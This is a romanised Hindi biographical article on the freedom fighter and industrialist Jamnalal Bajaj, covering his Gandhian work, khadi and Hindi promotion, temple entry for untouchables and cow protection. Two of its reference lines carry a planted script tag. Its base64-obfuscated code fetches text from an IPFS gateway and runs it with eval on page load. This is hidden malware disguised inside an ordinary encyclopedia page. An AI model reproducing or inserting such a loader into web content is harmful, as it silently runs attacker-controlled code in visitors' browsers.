जमनालाल बजाज
jamanalal bajaj (aangrezi: Jamnalal Bajaj, janm- 4 navambar, 1889, rajasthan; mrityu- 11 faravari, 1942, vardha) svatantrata sangram senani, udyogapati aur manavashastri the. ve mahatma gaandhi ke bahut karibi aur unake sachche anuyayi the. gaandhiji unhean apane putr saman manate the. jamanalal bajaj 1920 mean kaangres ke koshadhyaksh bane the tatha is pad par ve jivan bhar rahe. unhoanne vardha mean ‘satyagrah ashram’ ki sthapana ki thi. isake alava gau seva sangh, gaandhi seva sangh, sasta sahity mandal adi sansthaaan ki sthapana bhi unake dvara ki gee. jamanalal bajaj jati bhed ke virodhi the tatha unhoanne harijan utthan ke lie bhi prayatn kiya. unaki smriti mean samajik kshetroan mean sarahaniy kary karane ke liye 'jamanalal bajaj puraskar' ki sthapana ki gayi hai.
parichay
jayapur, rajasthan ke ek chhote se gaanv kashi ka vas mean garib kaniram kisan ke yahaan jamanalal bajaj ka janm 4 navambar, 1889 ko hua tha. ve vardha ke ek b de seth bachchharaj ke yahaan paanch varsh ki ayu mean god liye gaye the. seth vachchharaj sikar ke rahane vale the. unake poorvaj sava sau sal pahale nagapur mean akar bas gaye the. vilasita aur aishvary ka vatavaran is balak ko dooshit nahian kar paya, khyoanki unaka jhukav to bachapan se adhyatm ki or tha. jamanalal ki sagarhi das varsh ki avastha mean ho gayi thi. tin varsh bad jab jamanalal 13 varsh ke hue tatha janaki 9 varsh ki hurhian, to unaka vivah dhoomadham se vardha mean hua.
jamanalal bajaj ne khadi aur svadeshi apanaya aur apane veshakimati vastroan ki holi jalarhi. jamanalal ji ne apane bachchoan ko kisi phaishanebal pablik skool mean nahian bheja, balki unhean svechchhapoorvak vardha mean arambh kiye gaye vinoba ke satyagrah ashram mean bheja. san 1922 mean apani patni ko likhe ek patr mean unhoanne kaha ki- "maian hamesha se yahi sochata aya hooan ki tum aur hamare bachche mere hi karan kisi prakar ki pratishtha athava pad prapt n karean. yadi korhi pratishtha athava pad prapt ho, to vah apani-apani yogyata ke bal par ho. yah mere, tumhare, unake sabake hit mean hai."[1]
mahattvapoorn kary
akhil bharatiy koshadhyaksh ki haisiyat se khadi ke utpadan aur usaki bikri badhane ke vichar se jamanalal bajaj ne desh ke door-daraj bhagoan ka daura kiya, taki ardhaberojagaroan ko phayada pahuanch sake. 1935 mean gaandhiji ne 'akhil bharatiy gramodyog sangh' ki sthapana ki. is naye sangh ke lie jamanalal bajaj ne badi khushi se apana vishal bagicha sauanp diya, jisaka nam gaandhiji ne svargiy maganalal gaandhi ke nam par 'maganadi' rakha. 1936 mean 'akhil bharatiy hiandi sahity sammelan', nagapur ke bad turant hi jamanalal ji ne vardha mean desh ke pashchim aur poorv ke praantoan mean hiandi prachar ke lie, 'rashtrabhasha prachar samiti' ki sthapana ki tatha usake lie rashi ikattha ki. isake kuchh hi samay bad vah 'hindi sahity sammelan', madras ke adhyaksh chune gaye. apane is pad ka upayog unhoanne rashtrabhasha aandolan ko vyavasthit roop dene ki disha mean kiya. jamanalal ji isake atirikht man, pran se hindoo-muslim ekata aur achhootoddhar ke kam mean jut gaye. vastav mean ve desh ke pratham neta the, jinhoanne vardha mean apane poorvajoan ke 'lakshminarayan mandir' ke dvar 1928 mean hi achhootoan ke lie khol diye the. jamanalal bajaj aur unaki patni janaki devi atithiyoan ki pasand ka bahut khayal rakhate the. tyag ki drishti se unaka aantim kary sarvashreshth raha. desh ke pashudhan ki raksha ka kam unhoanne apane lie chuna tha aur gay ko usaka pratik mana tha. is kam mean ve itani ekagrata aur lagan ke sath jut gaye the ki jisaki korhi misal nahian thi. unaka sabase b da kam go-seva ka tha. vaise to yah kam pahale bhi chalata tha, lekin dhimi chal se. isase unhean santosh n tha. unhoanne ise tivr gati se chalana chaha aur itani tivrata se chalaya ki khud hi chal base. agar hamean gay ko jianda rakhana hai to hamean bhi usaki seva mean apane pran khone hoange.
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tika tippani aur sandarbh
nagori, d aau. es.el. “khand 3”, svatantrata senani kosh (gaandhiyugin), 2011 (hindi), bharatadiskavari pustakalay: gitaanjali prakashan, jayapur, prishth san 154.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ jamanalal bajaj, mahatma gaandhi tatha any (hindi) gandhiinaction.ning. abhigaman tithi: 14 julaee, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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